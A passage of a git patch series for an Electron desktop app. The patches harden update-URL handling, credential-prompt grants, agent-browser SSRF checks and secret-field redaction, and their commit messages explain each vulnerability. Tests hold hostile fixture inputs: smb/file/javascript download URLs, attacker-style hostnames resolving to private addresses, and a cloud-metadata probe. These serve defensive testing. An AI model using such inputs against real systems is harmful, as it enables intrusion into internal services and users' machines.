--- a/apps/desktop/src/main/index.ts +++ b/apps/desktop/src/main/index.ts @@ -1,5 +1,6 @@ import { join } from 'node:path' import { createLogger } from '@sim/logger' +import { getErrorMessage } from '@sim/utils/errors' import type { Session, WebContents } from 'electron' import { app, BrowserWindow, crashReporter, net, session } from 'electron' import { newChatRoute, settingsRoute } from '@/main/app-routes' @@ -55,6 +56,16 @@ import { attachWindowOpenPolicy, isPopupContents } from '@/main/windows' const logger = createLogger('DesktopMain') +/** + * Backstop for the sign-in flows, which are dispatched fire-and-forget from a + * loopback callback and a navigation guard. The flows record their own expected + * failures; this catches anything they do not, so a rejection cannot surface as + * an unhandled one — main registers no `unhandledRejection` handler. + */ +function reportHandoffFailure(error: unknown): void { + logger.error('Sign-in handoff failed', { error: getErrorMessage(error) }) +} + const OFFLINE_PAGE = 'static/offline.html' const DOCK_ICON_FOR_CHANNEL = { prod: 'dock-icon.png', @@ -138,7 +149,7 @@ function main(): void { currentUserId: () => readSessionUserId(ensureAppSession(), appOrigin()), }, { - onLogin: (callback) => void authFlow.handleCallback(callback), + onLogin: (callback) => void authFlow.handleCallback(callback).catch(reportHandoffFailure), onConnect: (callback) => connectFlow.handleCallback(callback), } ) @@ -173,7 +184,7 @@ function main(): void { isPackaged: app.isPackaged, allowHttpLocalhost, isPopupContents, - onLoginHandoff: () => void authFlow.beginLoginHandoff(), + onLoginHandoff: () => void authFlow.beginLoginHandoff().catch(reportHandoffFailure), onConnectIntercept: (contents) => void handleConnectIntercept(contents, allowHttpLocalhost()), }) From 09b40cb2ede2d14170304a51f4a92f92a4eb08cb Mon Sep 17 00:00:00 2001 From: Waleed Latif Date: Wed, 29 Jul 2026 14:11:05 -0700 Subject: [PATCH 04/16] fix(desktop): validate manual-update download urls against the scheme allowlist MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `buildManualEngine` regex-extracted `url:` values from the manifest served by the configured origin and handed the first `.dmg`/`.zip` straight to `shell.openExternal` — the only openExternal in non-test code that skipped `openExternalSafe`, whose own docs state "Every openExternal in the app goes through here". A hostile feed, or a hostile self-host origin the user was tricked into configuring, could return `version: 999.0.0` plus `url: smb://attacker/share/x.dmg` or `file:///…`; both pass the suffix test, so a Download click handed an arbitrary scheme to the macOS URL handler, launching a registered protocol handler instead of downloading. Candidates are now filtered with `isSafeExternalUrl` at selection, so an unusable url is never advertised as an available update at all, and the open goes through `openExternalSafe` so the allowlist also holds at the sink. Loopback http stays allowed because `feedUrlForOrigin` accepts an http origin, so a self-host on localhost is legitimate. Reachability is capped: `detectSelfUpdateCapability` selects the signature-verifying electron-updater engine on Developer-ID builds, so the manual engine runs only on ad-hoc-signed local/CI prerelease builds. --- apps/desktop/src/main/updater.test.ts | 45 +++++++++++++++++++++++++++ apps/desktop/src/main/updater.ts | 24 ++++++++++++-- 2 files changed, 66 insertions(+), 3 deletions(-) diff --git a/apps/desktop/src/main/updater.test.ts b/apps/desktop/src/main/updater.test.ts index c5d1140851c..f828cdcbfe9 100644 --- a/apps/desktop/src/main/updater.test.ts +++ b/apps/desktop/src/main/updater.test.ts @@ -326,6 +326,51 @@ describe('initUpdater manual mode (no Developer ID signature)', () => { expect(shell.openExternal).toHaveBeenCalledTimes(2) }) + it('refuses a manifest whose download urls are not http(s)', async () => { + const hostile = [ + 'version: 9.9.9', + 'files:', + ' - url: smb://attacker.example/share/Sim-9.9.9-universal.dmg', + ' sha512: abc', + ' - url: file:///Applications/Calculator.app', + ' sha512: def', + "releaseDate: '2026-07-23T00:00:00.000Z'", + ].join('\n') + const { handle } = await createManualUpdater(async () => hostile) + + handle.check() + await vi.advanceTimersByTimeAsync(0) + + // Never advertised, so the user is never offered a Download button for it. + expect(handle.getState()).toEqual({ status: 'idle', manual: true }) + + handle.check() + handle.install() + expect(shell.openExternal).not.toHaveBeenCalled() + }) + + it('skips an unusable url but still offers a safe one from the same manifest', async () => { + const mixed = [ + 'version: 9.9.9', + 'files:', + ' - url: javascript:alert(1)//Sim-9.9.9-universal.dmg', + ' sha512: abc', + ' - url: https://github.com/simstudioai/sim/releases/download/v9.9.9/Sim-9.9.9-universal.dmg', + ' sha512: def', + "releaseDate: '2026-07-23T00:00:00.000Z'", + ].join('\n') + const { handle } = await createManualUpdater(async () => mixed) + + handle.check() + await vi.advanceTimersByTimeAsync(0) + expect(handle.getState()).toEqual({ status: 'available', version: '9.9.9', manual: true }) + + handle.check() + expect(shell.openExternal).toHaveBeenCalledWith( + 'https://github.com/simstudioai/sim/releases/download/v9.9.9/Sim-9.9.9-universal.dmg' + ) + }) + it('stays idle when the feed version is not newer', async () => { const { handle } = await createManualUpdater(async () => manifest(app.getVersion())) handle.check() diff --git a/apps/desktop/src/main/updater.ts b/apps/desktop/src/main/updater.ts index 82d3a16f32e..07221420f5c 100644 --- a/apps/desktop/src/main/updater.ts +++ b/apps/desktop/src/main/updater.ts @@ -3,7 +3,8 @@ import type { DesktopUpdateState } from '@sim/desktop-bridge' import { createLogger } from '@sim/logger' import { getErrorMessage } from '@sim/utils/errors' import type { BrowserWindow } from 'electron' -import { app, dialog, net, shell } from 'electron' +import { app, dialog, net } from 'electron' +import { isSafeExternalUrl, openExternalSafe } from '@/main/navigation' import type { EventRecorder } from '@/main/observability' const logger = createLogger('DesktopUpdater') @@ -434,12 +435,26 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { } // The feed rewrites manifest urls to absolute GitHub asset URLs; // prefer the dmg for a human download. - const urls = Array.from(manifest.matchAll(/^\s*(?:-\s*)?url:\s*(\S+)\s*$/gm), (m) => m[1]) + // + // Filtered before selection, not just before opening: the manifest is + // whatever the configured origin served, so `smb://…/x.dmg` or a bare + // `file:///…` would otherwise pass the suffix test and be advertised as + // an available update. Loopback http is kept because feedUrlForOrigin + // accepts an http origin, so a self-host on localhost is legitimate. + const urls = Array.from( + manifest.matchAll(/^\s*(?:-\s*)?url:\s*(\S+)\s*$/gm), + (m) => m[1] + ).filter((url) => isSafeExternalUrl(url, true)) downloadUrl = urls.find((url) => url.endsWith('.dmg')) ?? urls.find((url) => url.endsWith('.zip')) ?? urls[0] ?? null + if (!downloadUrl) { + logger.warn('Update manifest had no usable download url') + setState({ status: 'idle', manual: true }) + return + } deps.events.record('update_check', { available: version, manual: true }) setState({ status: 'available', version, manual: true }) } catch (error) { @@ -451,7 +466,10 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { const openDownload = () => { if (downloadUrl) { deps.events.record('update_manual_download', { url: downloadUrl }) - void shell.openExternal(downloadUrl) + // Through openExternalSafe like every other external open in the app, + // so the scheme allowlist is enforced at the sink and not only where + // the url was chosen. + void openExternalSafe(downloadUrl, true) } } From 73570c716a2b4ed53997d67b7e9659cf28d14941 Mon Sep 17 00:00:00 2001 From: Waleed Latif Date: Wed, 29 Jul 2026 14:13:01 -0700 Subject: [PATCH 05/16] fix(desktop): scope credential presence grants to the operation proven MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `provenUntil` was keyed on credentialId alone, and `authorizeForSecret` set and read it without reference to what the caller was about to do. `copyCredential` puts the plaintext on the clipboard from inside main and returns a boolean; `revealCredential` returns the string itself to the renderer. With one undifferentiated grant, approving a native "Copy password?" prompt silently authorized a plaintext reveal for the remaining 30s with no second prompt — the OS prompt is the only human-in-the-loop control on plaintext egress, and its label described something weaker than what it granted. Grants now carry their operation and are compared with an ordering rather than equality: reveal is the stronger claim, so a reveal grant still covers a later copy. That is deliberate, not laxity — it preserves the behaviour AUTH_GRACE_MS was designed for (the plaintext is already on screen, so re-prompting to put that same string on the clipboard buys nothing). Only the weaker-implies- stronger direction is closed. `operation` is required rather than optional so the compiler names every call site; it found both. Not addressed, deliberately: the non-biometric fallback still uses `defaultId: 1`, so a reflexive Enter confirms. That is a UX change and is left for a decision rather than folded in here. --- .../src/main/browser-credentials/index.ts | 2 + .../main/browser-credentials/os-auth.test.ts | 56 +++++++++++++++++-- .../src/main/browser-credentials/os-auth.ts | 47 +++++++++++++--- 3 files changed, 90 insertions(+), 15 deletions(-) diff --git a/apps/desktop/src/main/browser-credentials/index.ts b/apps/desktop/src/main/browser-credentials/index.ts index 5b9994fbcb4..de21a6b7d68 100644 --- a/apps/desktop/src/main/browser-credentials/index.ts +++ b/apps/desktop/src/main/browser-credentials/index.ts @@ -89,6 +89,7 @@ export async function forgetAllCredentials(): Promise { const authorized = await authorizeForSecret({ credentialId: id, + operation: 'reveal', reason: 'show a saved password', action: 'Show password', }) @@ -106,6 +107,7 @@ export async function revealCredential(id: string): Promise { export async function copyCredential(id: string): Promise { const authorized = await authorizeForSecret({ credentialId: id, + operation: 'copy', reason: 'copy a saved password', action: 'Copy password', }) diff --git a/apps/desktop/src/main/browser-credentials/os-auth.test.ts b/apps/desktop/src/main/browser-credentials/os-auth.test.ts index cc7f433ae63..ca14d7a679a 100644 --- a/apps/desktop/src/main/browser-credentials/os-auth.test.ts +++ b/apps/desktop/src/main/browser-credentials/os-auth.test.ts @@ -43,7 +43,22 @@ function setPlatform(platform: NodeJS.Platform): void { } function request(credentialId: string) { - return { credentialId, reason: 'show a saved password', action: 'Show password' } + return { + credentialId, + operation: 'reveal' as const, + reason: 'show a saved password', + action: 'Show password', + } +} + +/** The weaker of the two operations: plaintext never leaves the main process. */ +function copyRequest(credentialId: string) { + return { + credentialId, + operation: 'copy' as const, + reason: 'copy a saved password', + action: 'Copy password', + } } describe('authorizeForSecret', () => { @@ -110,6 +125,39 @@ describe('authorizeForSecret', () => { expect(promptTouchID).toHaveBeenCalledTimes(2) }) + it('never lets a copy consent stand in for a plaintext reveal', async () => { + await expect(authorizeForSecret(copyRequest('c1'))).resolves.toBe(true) + expect(promptTouchID).toHaveBeenCalledTimes(1) + + // The user approved "Copy password?"; revealing hands the string to the + // renderer, so it has to ask again rather than ride the copy grant. + await expect(authorizeForSecret(request('c1'))).resolves.toBe(true) + expect(promptTouchID).toHaveBeenCalledTimes(2) + }) + + it('lets a reveal consent cover a later copy of the same credential', async () => { + await expect(authorizeForSecret(request('c1'))).resolves.toBe(true) + + // The plaintext is already on screen, so putting that same string on the + // clipboard buys nothing by prompting twice. + await expect(authorizeForSecret(copyRequest('c1'))).resolves.toBe(true) + expect(promptTouchID).toHaveBeenCalledTimes(1) + }) + + it('keeps a copy grant usable for further copies', async () => { + await authorizeForSecret(copyRequest('c1')) + await authorizeForSecret(copyRequest('c1')) + + expect(promptTouchID).toHaveBeenCalledTimes(1) + }) + + it('never widens a grant to another credential', async () => { + await authorizeForSecret(request('c1')) + await authorizeForSecret(request('c2')) + + expect(promptTouchID).toHaveBeenCalledTimes(2) + }) + it('asks again after the credential is explicitly revoked', async () => { await authorizeForSecret(request('c1')) revokeSecretAuthorization('c1') @@ -130,11 +178,7 @@ describe('authorizeForSecret', () => { it('labels the fallback dialog with the action it is authorizing', async () => { canPromptTouchID.mockReturnValue(false) - await authorizeForSecret({ - credentialId: 'c1', - reason: 'copy a saved password', - action: 'Copy password', - }) + await authorizeForSecret(copyRequest('c1')) expect(showMessageBox).toHaveBeenCalledWith( expect.objectContaining({ diff --git a/apps/desktop/src/main/browser-credentials/os-auth.ts b/apps/desktop/src/main/browser-credentials/os-auth.ts index c4c3ed830ad..c61b5014e42 100644 --- a/apps/desktop/src/main/browser-credentials/os-auth.ts +++ b/apps/desktop/src/main/browser-credentials/os-auth.ts @@ -12,11 +12,26 @@ const logger = createLogger('BrowserCredentialAuth') * their way to is typically still on screen — asking a second time to put that * same string on the clipboard is friction that buys nothing, and teaches * people to approve prompts without reading them. + * + * That reasoning only runs one way, which is why grants carry the operation + * they were proven for: nothing about a copy implies the user agreed to hand + * the plaintext to the renderer. */ const AUTH_GRACE_MS = 30_000 -/** Credential id to the moment its proof of presence lapses. */ -const provenUntil = new Map() +/** + * What a grant was proven for. + * + * The two are not equivalent, and the ordering matters: `copy` puts the + * plaintext on the clipboard from inside the main process and returns only a + * boolean, while `reveal` hands the string itself to the Sim renderer. So + * `reveal` is the stronger claim and a proof of it covers a later `copy` — but + * not the other way round. + */ +export type SecretOperation = 'reveal' | 'copy' + +/** Credential id to its standing proof of presence. */ +const provenUntil = new Map() export interface SecretAuthRequest { /** @@ -25,20 +40,33 @@ export interface SecretAuthRequest { * granted for. */ credentialId: string + /** + * What the caller is about to do. Required, because a grant that did not + * record it let the weaker consent stand in for the stronger one: approving + * a "Copy password?" prompt silently authorized a plaintext reveal to the + * renderer for the rest of the window, with no second prompt and a label + * that described something else. + */ + operation: SecretOperation /** Completes "Sim is about to ..." in the prompt. */ reason: string /** Confirm-button label and title for the non-biometric fallback. */ action: string } -function hasFreshProof(credentialId: string): boolean { - const expiry = provenUntil.get(credentialId) - if (expiry === undefined) return false - if (Date.now() >= expiry) { +/** Whether a proof of `granted` is enough to perform `requested`. */ +function grantCovers(granted: SecretOperation, requested: SecretOperation): boolean { + return granted === 'reveal' || granted === requested +} + +function hasFreshProof(credentialId: string, operation: SecretOperation): boolean { + const proof = provenUntil.get(credentialId) + if (proof === undefined) return false + if (Date.now() >= proof.expiry) { provenUntil.delete(credentialId) return false } - return true + return grantCovers(proof.operation, operation) } /** @@ -73,12 +101,13 @@ export function revokeSecretAuthorization(credentialId?: string): void { */ export async function authorizeForSecret({ credentialId, + operation, reason, action, }: SecretAuthRequest): Promise { - if (hasFreshProof(credentialId)) return true + if (hasFreshProof(credentialId, operation)) return true if (!(await promptForSecret(reason, action))) return false - provenUntil.set(credentialId, Date.now() + AUTH_GRACE_MS) + provenUntil.set(credentialId, { expiry: Date.now() + AUTH_GRACE_MS, operation }) return true } From 9b8df939c57dbb0b1f77d463e0157b516d649b14 Mon Sep 17 00:00:00 2001 From: Waleed Latif Date: Wed, 29 Jul 2026 14:16:36 -0700 Subject: [PATCH 06/16] fix(desktop): DNS-check agent subresources that are readable or execute MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The agent partition's onBeforeRequest ran the resolving guard for mainFrame and subFrame only; everything else fell to isBlockedRequestUrl, which sees literal IPs and returns false for any hostname by design. A public name with a static private A record therefore reached internal services from a page the agent was steered to — no rebinding required. The vectors that matter are the ones whose response comes back or runs: a WebSocket to an internal server reads data frames cross-origin because such servers commonly ignore Origin, and a script or xhr response executes in the page or is readable. Subresources now take isBlockedSubresourceUrl, with the verdict cached per host (30s TTL, bounded at 256 entries, oldest evicted) so this is not a lookup per asset. Images and fonts keep the synchronous path: high volume, not readable cross-origin, leaving the load/error timing oracle as the accepted residual. The exemption is expressed as what skips the check, not what gets it, so a resource type Chromium labels unexpectedly fails safe into the checked path — fetch is `xhr` on some versions and `other` on others, and an allowlist that missed the label in use would silently reopen the hole. Resolver errors fail closed, matching checkAgentUrl, and that verdict is not cached so a transient failure does not stick. The deliberate loopback carve-out is unchanged — isBlockedAddress already exempts it on both paths. --- .../desktop/src/main/browser-agent/session.ts | 32 ++++- .../src/main/browser-agent/url-guard.test.ts | 109 +++++++++++++++++- .../src/main/browser-agent/url-guard.ts | 98 ++++++++++++++++ 3 files changed, 234 insertions(+), 5 deletions(-) diff --git a/apps/desktop/src/main/browser-agent/session.ts b/apps/desktop/src/main/browser-agent/session.ts index 1fd2f50b5be..bf7c6847426 100644 --- a/apps/desktop/src/main/browser-agent/session.ts +++ b/apps/desktop/src/main/browser-agent/session.ts @@ -25,7 +25,12 @@ import { panelWindow, } from '@/main/browser-agent/panel' import { registerAgentWebContents } from '@/main/browser-agent/registry' -import { checkAgentUrl, isBlockedRequestUrl } from '@/main/browser-agent/url-guard' +import { + checkAgentUrl, + isBlockedRequestUrl, + isBlockedSubresourceUrl, + subresourceNeedsResolution, +} from '@/main/browser-agent/url-guard' const logger = createLogger('BrowserAgentSession') @@ -297,8 +302,18 @@ function configureAgentPartition(ses: Session): void { // iframes) get the full DNS-resolving check — the one seam every navigation // passes through, including page-initiated ones the driver never sees (server // redirects, link clicks, location.href, meta-refresh) — so an internal host - // can't slip in that way. Subresources take the cheap synchronous literal-IP - // backstop instead of a DNS lookup per asset. + // can't slip in that way. + // + // Subresources that come back readable or that execute get the resolving + // check too, cached per host: a literal-IP backstop alone let a public + // hostname with a private A record reach internal services, and a WebSocket + // to one is a cross-origin read primitive because internal servers commonly + // ignore Origin. Only images and fonts keep the cheap synchronous path — + // they are the high-volume types and are not readable cross-origin, leaving a + // load/error timing oracle as the accepted residual. The list is expressed as + // what is exempt rather than what is checked, so a resource type Chromium + // labels differently than expected fails safe into the checked path; see + // subresourceNeedsResolution. ses.webRequest.onBeforeRequest((details, callback) => { if (details.resourceType === 'mainFrame' || details.resourceType === 'subFrame') { void checkAgentUrl(details.url) @@ -316,7 +331,16 @@ function configureAgentPartition(ses: Session): void { }) return } - callback({ cancel: isBlockedRequestUrl(details.url) }) + if (!subresourceNeedsResolution(details.resourceType)) { + callback({ cancel: isBlockedRequestUrl(details.url) }) + return + } + void isBlockedSubresourceUrl(details.url) + .then((blocked) => callback({ cancel: blocked })) + .catch((error) => { + logger.error('Agent subresource SSRF check failed; cancelling request', { error }) + callback({ cancel: true }) + }) }) ses.on('will-download', (_event, item) => { const filename = item.getFilename() diff --git a/apps/desktop/src/main/browser-agent/url-guard.test.ts b/apps/desktop/src/main/browser-agent/url-guard.test.ts index b43d45a7da9..ecf94890299 100644 --- a/apps/desktop/src/main/browser-agent/url-guard.test.ts +++ b/apps/desktop/src/main/browser-agent/url-guard.test.ts @@ -6,7 +6,13 @@ vi.mock('node:dns/promises', () => ({ default: { lookup: mockLookup }, })) -import { checkAgentUrl, isBlockedRequestUrl } from '@/main/browser-agent/url-guard' +import { + checkAgentUrl, + clearHostVerdictCache, + isBlockedRequestUrl, + isBlockedSubresourceUrl, + subresourceNeedsResolution, +} from '@/main/browser-agent/url-guard' describe('checkAgentUrl', () => { beforeEach(() => { @@ -120,3 +126,104 @@ describe('isBlockedRequestUrl', () => { expect(isBlockedRequestUrl('::::')).toBe(false) }) }) + +describe('isBlockedSubresourceUrl', () => { + beforeEach(() => { + vi.clearAllMocks() + clearHostVerdictCache() + mockLookup.mockResolvedValue([{ address: '93.184.216.34', family: 4 }]) + }) + + it('blocks a public hostname whose A record points at a private address', async () => { + mockLookup.mockResolvedValue([{ address: '10.0.0.5', family: 4 }]) + + await expect(isBlockedSubresourceUrl('https://10-0-0-5.evil.example/probe.json')).resolves.toBe( + true + ) + }) + + it('catches what the synchronous literal-IP backstop cannot', async () => { + mockLookup.mockResolvedValue([{ address: '10.0.0.5', family: 4 }]) + const url = 'https://10-0-0-5.evil.example/probe.json' + + // The gap this guard exists to close: the sync check only sees literals, so + // a hostname with a private A record sailed through it. + expect(isBlockedRequestUrl(url)).toBe(false) + await expect(isBlockedSubresourceUrl(url)).resolves.toBe(true) + }) + + it('blocks a websocket to a privately-resolving host', async () => { + mockLookup.mockResolvedValue([{ address: '172.16.4.4', family: 4 }]) + + await expect(isBlockedSubresourceUrl('ws://internal.evil.example/socket')).resolves.toBe(true) + }) + + it('allows a hostname that resolves publicly', async () => { + await expect(isBlockedSubresourceUrl('https://example.com/app.js')).resolves.toBe(false) + }) + + it('blocks IPv6-mapped and link-local literals without resolving', async () => { + await expect(isBlockedSubresourceUrl('http://169.254.169.254/latest/meta-data')).resolves.toBe( + true + ) + await expect(isBlockedSubresourceUrl('http://[::ffff:10.0.0.5]/x')).resolves.toBe(true) + expect(mockLookup).not.toHaveBeenCalled() + }) + + it('keeps the deliberate loopback carve-out', async () => { + await expect(isBlockedSubresourceUrl('http://127.0.0.1:3000/x')).resolves.toBe(false) + expect(mockLookup).not.toHaveBeenCalled() + }) + + it('resolves a host once and reuses the verdict', async () => { + await isBlockedSubresourceUrl('https://example.com/a.js') + await isBlockedSubresourceUrl('https://example.com/b.js') + await isBlockedSubresourceUrl('https://example.com/c.js') + + expect(mockLookup).toHaveBeenCalledTimes(1) + }) + + it('fails closed when the host does not resolve, without caching that', async () => { + mockLookup.mockRejectedValueOnce(new Error('ENOTFOUND')) + await expect(isBlockedSubresourceUrl('https://flaky.example/a.js')).resolves.toBe(true) + + mockLookup.mockResolvedValue([{ address: '93.184.216.34', family: 4 }]) + await expect(isBlockedSubresourceUrl('https://flaky.example/a.js')).resolves.toBe(false) + }) + + it('ignores a malformed url rather than blocking every request', async () => { + await expect(isBlockedSubresourceUrl('not a url')).resolves.toBe(false) + }) + + it('bounds the verdict cache', async () => { + for (let i = 0; i < 300; i++) { + await isBlockedSubresourceUrl(`https://host-${i}.example/a.js`) + } + mockLookup.mockClear() + + // The earliest hosts were evicted, so they resolve again; the newest do not. + await isBlockedSubresourceUrl('https://host-0.example/a.js') + await isBlockedSubresourceUrl('https://host-299.example/a.js') + expect(mockLookup).toHaveBeenCalledTimes(1) + }) +}) + +describe('subresourceNeedsResolution', () => { + it('exempts only the high-volume, non-readable types', () => { + expect(subresourceNeedsResolution('image')).toBe(false) + expect(subresourceNeedsResolution('font')).toBe(false) + }) + + it('checks every type that is readable or executes', () => { + for (const type of ['xhr', 'webSocket', 'media', 'script', 'stylesheet', 'object', 'ping']) { + expect(subresourceNeedsResolution(type)).toBe(true) + } + }) + + it('checks an unrecognised label rather than exempting it', () => { + // fetch is `xhr` on some Chromium versions and `other` on others; a label + // this code has never heard of must not be the one that skips the check. + expect(subresourceNeedsResolution('other')).toBe(true) + expect(subresourceNeedsResolution('someFutureType')).toBe(true) + }) +}) diff --git a/apps/desktop/src/main/browser-agent/url-guard.ts b/apps/desktop/src/main/browser-agent/url-guard.ts index 23f493405e2..efa51c5bcc1 100644 --- a/apps/desktop/src/main/browser-agent/url-guard.ts +++ b/apps/desktop/src/main/browser-agent/url-guard.ts @@ -129,6 +129,104 @@ export async function checkAgentUrl(rawUrl: string): Promise { * lookup on every subresource. Hostnames pass here (they are classified at * navigation time by {@link checkAgentUrl}). */ +/** + * Subresource types that keep the cheap synchronous literal-IP check. + * + * Images and fonts are the high-volume types and are not readable + * cross-origin, so the residual for them is a load/error timing oracle — a + * documented, accepted trade against a DNS lookup per asset. + */ +const LITERAL_ONLY_RESOURCE_TYPES: ReadonlySet = new Set(['image', 'font']) + +/** + * Whether a subresource needs the DNS-resolving check rather than the literal-IP + * backstop. + * + * Expressed as what is exempt rather than what is checked, so a resource type + * Chromium labels differently than expected fails safe into the checked path — + * `fetch` surfaces as `xhr` or `other` depending on version, and an allowlist + * that missed the label in use would silently reopen the hole. + */ +export function subresourceNeedsResolution(resourceType: string): boolean { + return !LITERAL_ONLY_RESOURCE_TYPES.has(resourceType) +} + +/** + * How long a host's resolved classification is reused. Deliberately short: a + * DNS rebind should not stay authorized past roughly the life of a page view. + */ +const HOST_VERDICT_TTL_MS = 30_000 + +/** + * Ceiling on the cache. A hostile page can name unlimited hostnames, so this is + * bounded rather than left to grow; the oldest entry is evicted first. + */ +const MAX_HOST_VERDICTS = 256 + +const hostVerdicts = new Map() + +function rememberHostVerdict(host: string, blocked: boolean): void { + if (hostVerdicts.size >= MAX_HOST_VERDICTS) { + const oldest = hostVerdicts.keys().next() + if (!oldest.done) hostVerdicts.delete(oldest.value) + } + hostVerdicts.set(host, { blocked, expiry: Date.now() + HOST_VERDICT_TTL_MS }) +} + +/** Drops every cached host classification. */ +export function clearHostVerdictCache(): void { + hostVerdicts.clear() +} + +/** + * DNS-resolving guard for the agent partition's readable and executable + * subresources. + * + * {@link isBlockedRequestUrl} only sees literal IPs, so a public hostname whose + * A record points at an RFC1918 or link-local address reached internal services + * from a page the agent was steered to — no rebinding needed, a static record + * was enough. The vectors that matter are the ones where the response comes + * back or runs: `new WebSocket('ws://internal/…')` reads data frames + * cross-origin because internal servers commonly ignore `Origin`, and a script + * or xhr response either executes in the page or is readable. + * + * Fails closed on a resolver error, for the same reason {@link checkAgentUrl} + * does: an unresolved host cannot be confirmed public, and Chromium resolves + * independently. That verdict is not cached, so a transient failure does not + * stick. + */ +export async function isBlockedSubresourceUrl(rawUrl: string): Promise { + let hostname: string + try { + hostname = new URL(rawUrl).hostname + } catch { + return false + } + const host = unwrapIpv6Brackets(hostname) + if (!host) return false + if (isIpLiteral(host)) return isBlockedAddress(host) + + const cached = hostVerdicts.get(host) + if (cached && Date.now() < cached.expiry) return cached.blocked + + let blocked: boolean + try { + const resolved = await resolveHost(host) + blocked = resolved.some(({ address }) => isBlockedAddress(address)) + } catch (error) { + logger.warn('Agent subresource host did not resolve; blocking', { + host, + error: getErrorMessage(error), + }) + return true + } + rememberHostVerdict(host, blocked) + if (blocked) { + logger.warn('Blocked agent subresource resolving to private IP', { host }) + } + return blocked +} + export function isBlockedRequestUrl(rawUrl: string): boolean { try { // isPrivateIpHost strips IPv6 brackets itself; unwrap again for the From 7782a569d3b3db605f28d9acf9bd709e9dd9320c Mon Sep 17 00:00:00 2001 From: Waleed Latif Date: Wed, 29 Jul 2026 14:21:28 -0700 Subject: [PATCH 07/16] fix(desktop): close three credential-disclosure gaps in agent page functions MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closed shadow roots. activeElementSecrecy is the only gate the driver consults before dispatching trusted CDP keystrokes, and it descended focus solely through `active.shadowRoot` — null by design for a closed root, while focus inside one retargets to the host, whose tagName is never INPUT. So a password field in a closed root reported 'safe', and Tab crosses closed boundaries natively. Now treated like a cross-origin frame. Detected by focusability rather than by tag: attachShadow accepts plain div/span/section as well as custom elements, so a tag test would miss half of them, whereas an element that is not focusable in its own right cannot be activeElement unless focus was retargeted out of a shadow tree. Multi-token autocomplete. isSecretField compared the whole attribute against 'current-password'/'new-password', but the spec allows space-separated detail tokens and WebAuthn recommends `current-password webauthn`. Those values fell through on exactly the type=text credential fields where autocomplete is the only signal. Now split into tokens, in all seven copies — the duplication is required by the `String(fn)` serialization contract, so consolidating was not an option. OTP and payment values. Deliberately NOT added to isSecretField: that helper also gates keystrokes, so folding them in would have stopped the agent completing a checkout or an OTP prompt — work it is legitimately asked to do. A separate predicate withholds only the value at the two emission sites, and the field is still reported with its real tag so the agent can fill it. --- .../main/browser-agent/page-functions.test.ts | 89 +++++++++++ .../src/main/browser-agent/page-functions.ts | 148 +++++++++++++++++- 2 files changed, 229 insertions(+), 8 deletions(-) diff --git a/apps/desktop/src/main/browser-agent/page-functions.test.ts b/apps/desktop/src/main/browser-agent/page-functions.test.ts index dae391901b8..6b09207fdb9 100644 --- a/apps/desktop/src/main/browser-agent/page-functions.test.ts +++ b/apps/desktop/src/main/browser-agent/page-functions.test.ts @@ -140,6 +140,20 @@ describe('secret-field detection', () => { ], ['new-password field', ''], ['uppercase autocomplete token', ''], + // The spec allows space-separated detail tokens and WebAuthn recommends + // this exact value, so whole-string equality missed it. + [ + 'WebAuthn multi-token autocomplete', + '', + ], + [ + 'section-scoped autocomplete', + '', + ], + [ + 'multi-token new-password with surrounding whitespace', + '', + ], ] it.each(secretCases)('clickElement refuses a %s', (_label, html) => { @@ -276,6 +290,24 @@ describe('collectSnapshot', () => { expect(outline).not.toContain('value=') }) + it.each([ + ['a one-time code', 'one-time-code', '123456'], + ['a card number', 'cc-number', '4111111111111111'], + ['a card security code', 'cc-csc', '737'], + ['a card expiry', 'cc-exp', '12/29'], + ])('withholds the value of %s while still listing the field', (_label, token, value) => { + document.body.innerHTML = `` + visible(document.querySelector('input') as HTMLInputElement) + + const outline = outlineOf(collectSnapshot()) + + // Not reported as a password-field: the agent must still be able to fill + // these, it just never learns what is already there. + expect(outline).not.toContain('password-field') + expect(outline).not.toContain(value) + expect(outline).toContain('value-withheld') + }) + it('withholds the value of a revealed password field', () => { document.body.innerHTML = '' @@ -317,6 +349,23 @@ describe('readActiveElementState', () => { expect(readActiveElementState()).toMatchObject({ redacted: true, valuePreview: '' }) }) + it.each([ + ['a one-time code', 'one-time-code', '123456'], + ['a card number', 'cc-number', '4111111111111111'], + ['a card security code', 'cc-csc', '737'], + ])('withholds %s on readback but keeps the real tag', (_label, token, value) => { + document.body.innerHTML = `` + setActiveElement(document, document.querySelector('input')) + + expect(readActiveElementState()).toEqual({ + activeElement: 'input', + selectedChars: 0, + valueLength: 0, + valuePreview: '', + redacted: true, + }) + }) + it('reports ordinary fields in full', () => { document.body.innerHTML = '' setActiveElement(document, document.querySelector('input')) @@ -386,6 +435,46 @@ describe('activeElementSecrecy', () => { expect(activeElementSecrecy()).toBe('opaque') }) + it('reports opaque for a password field inside a CLOSED shadow root', () => { + const host = document.createElement('div') + document.body.append(host) + const shadow = host.attachShadow({ mode: 'closed' }) + shadow.innerHTML = '' + // Focus inside a closed root retargets to the host and `shadowRoot` reads + // null, which is exactly what the browser reports and what made this 'safe'. + setActiveElement(document, host) + + expect(host.shadowRoot).toBeNull() + expect(activeElementSecrecy()).toBe('opaque') + }) + + it('reports opaque for a closed shadow root on a custom element', () => { + const host = document.createElement('my-login') + document.body.append(host) + host.attachShadow({ mode: 'closed' }).innerHTML = '' + setActiveElement(document, host) + + expect(activeElementSecrecy()).toBe('opaque') + }) + + it('still reports safe for a focused element that is focusable in its own right', () => { + // The false-positive guard: a div the page made focusable is focused + // itself, not hiding a shadow tree, so keystrokes are not refused. + document.body.innerHTML = '
menu
' + setActiveElement(document, document.querySelector('div')) + + expect(activeElementSecrecy()).toBe('safe') + }) + + it('still reports safe for a focused contenteditable', () => { + document.body.innerHTML = '
note
